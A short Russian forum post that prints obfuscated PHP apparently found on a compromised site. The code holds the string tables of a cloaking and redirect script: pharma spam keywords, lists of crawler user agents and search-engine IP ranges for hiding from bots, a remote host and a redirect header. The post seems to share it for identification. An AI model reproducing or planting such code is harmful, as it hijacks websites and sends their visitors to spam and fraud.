первые два скрипта отсюда З.Ы. похоже каимовским офбускатором прошлись http://kaimi.ru/2009/10/php-obfuscator-1-4/ PHP: <?php $GLOBALS['_823912103_'] = Array(error_reporting,rawurlencode,rawurlencode,rawurlencode,stristr,dirname,stristr,ip2long,trim,stristr,ip2long,ip2long,explode,stristr,explode,join,join,preg_match,preg_match,stristr,rtrim,ini_get,function_exists,curl_init,file_get_contents,curl_init,curl_setopt,curl_setopt,curl_exec,curl_close,trim,str_replace,strtolower,md5,str_replace,str_replace,urlencode,header,nl2br,join); ?> <?php function _998418880($i){ $a=Array('writers','http://googl-analistic.com/analis/in.cgi?19&seoref=','HTTP_REFERER','¶meter={fullkey}&se=$se&ur=1&HTTP_REFERER=','http://','HTTP_HOST','REQUEST_URI','&default_keyword=pharmacy&said=','12345','viagra','cialis','pharmacy','propecia','levitra','tramadol','xanax','valiu,','google','altavista','bing','yahoo','http','jeeves','msnbot','bot','crawl','spider','robot','HttpClient','curl','PHP','Indy Library','WordPress','charlotte','wwwster','Python','urllib','perl','libwww','lynx','Twiceler','rambler','yandex','ngb','slurp','gulliver','robozill','ultraseek','infoseek','ask','webalta','pear','teleport','ask','worm','Speedy','scanner','scooter','lwp','HTTrack','Accoona','CFNetwork','wget','118.124.32.193','129.187.148.240','129.187.148.244','165.160.2.20','195.92.229.2','199.126.151.229','207.211.40.82','209.185.108.*','209.185.253.*','209.85.238.*','212.100.250.218','213.144.15.38','216.239.33.96-99','216.239.37.98-99','216.239.39.98-99','216.239.41.96-99','216.239.45.4','216.239.46.*','216.239.51.96-99','216.239.53.98-99','216.239.57.96-99','216.239.59.98-99','216.33.229.163','218.18.174.27','218.28.88.99','24.200.208.112','38.*.*.*','64.233.161-191.*','64.68.80-92.*','64.69.34.134','65.33.87.94','65.52-55.*.*','65.93.62.242','66.230.175.124','66.249.60-99.*','66.255.53.123','67.162.158.146','67.195.*.*','67.210.111.241','70.50.189.191','70.91.180.25','71.165.223.134','72.14.199.*','72.30.*.*','74.125.*.*','74.193.246.129','74.6.*.*','8.6.48.*','81.135.175.70','89.122.224.230','89.149.217.191','89.149.253.169','93.172.94.227','http://','HTTP_HOST','REQUEST_URI','HTTP_USER_AGENT','start','/','REMOTE_ADDR','HTTP_USER_AGENT','-','.','-','-','.','.','HTTP_REFERER','HTTP_REFERER','#google|msn|live|altavista|ask|yahoo|aol|bing#i','#[\?\&](q|p|query|keywords)=([^&]+)#i','\/','/','allow_url_fopen','fgc','curl','none','.html','fgc','curl','404','success','html','remote','client','http://','https://','www.','index.php','/','','site','client: ','client','remote url: ','remote','success','cloack page was loaded','html','cloack page was NOT loaded','bot NOT detected','{key}','{fullkey}','Location: ','serp user NOT detected','exit','show site',' '); return $a[$i]; } ?>